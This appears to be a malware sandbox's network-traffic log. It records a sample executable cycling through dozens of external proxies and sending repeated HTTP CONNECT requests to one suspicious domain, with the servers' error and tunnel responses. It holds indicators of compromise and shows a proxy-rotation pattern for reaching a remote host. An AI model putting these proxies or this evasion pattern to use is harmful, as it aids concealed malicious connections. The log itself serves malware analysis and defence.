Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.552109003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1007	192.168.2.9	52740	98.170.57.249	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.553204060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1008	192.168.2.9	53420	43.153.90.69	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.557473898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1009	192.168.2.9	53250	51.68.220.201	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.561650038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.812397957 CET	28	IN	HTTP/1.0 502 Bad Gateway

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1010	192.168.2.9	53277	34.92.12.210	9238	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.563703060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.568928003 CET	28	IN	HTTP/1.1 502 Bad Gateway

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1011	192.168.2.9	53370	98.162.25.7	31653	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.563987017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1012	192.168.2.9	53280	219.243.212.118	8443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.578905106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.905436993 CET	22	IN	HTTP/1.1 502 ERROR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1013	192.168.2.9	53333	110.12.211.140	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.579420090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1014	192.168.2.9	52773	72.206.181.105	64935	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.584830046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1015	192.168.2.9	53378	192.154.244.92	9000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.586535931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1016	192.168.2.9	53300	154.239.9.82	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.591448069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.325403929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.434773922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.637976885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.825386047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.934731960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.138164043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:31.325267076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:47.637552023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1017	192.168.2.9	53424	43.153.90.69	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.594687939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1018	192.168.2.9	53373	98.162.25.23	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.608396053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1019	192.168.2.9	52690	82.113.157.122	31280	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.617135048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1020	192.168.2.9	53383	199.188.93.163	9000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.627244949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1021	192.168.2.9	53503	43.157.47.86	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.638571978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1022	192.168.2.9	53505	43.157.47.86	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.639797926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1023	192.168.2.9	52531	185.5.209.101	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.641093969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.029417992 CET	749	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 14:21:17 GMT Server: Apache/2.4.56 (Win64) OpenSSL/3.0.8 mod_jk/1.2.43 Content-Length: 530 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 61 64 6d 69 6e 40 65 78 61 6d 70 6c 65 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at admin@example.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1024	192.168.2.9	53508	43.157.47.86	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.641196966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1025	192.168.2.9	53512	43.157.47.86	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.641755104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1026	192.168.2.9	53371	177.38.5.16	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.670520067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1027	192.168.2.9	53311	183.215.23.242	9091	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.677258015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.095818043 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1028	192.168.2.9	52759	37.18.73.60	5566	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.679974079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.023022890 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1029	192.168.2.9	52643	184.170.245.148	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.682341099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1030	192.168.2.9	53395	159.65.77.168	8585	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.706518888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.877407074 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1031	192.168.2.9	53332	111.8.155.54	7777	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.716578007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.160901070 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1032	192.168.2.9	53240	117.160.250.134	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.719794989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.287872076 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1033	192.168.2.9	53412	192.163.201.131	40886	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.722542048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
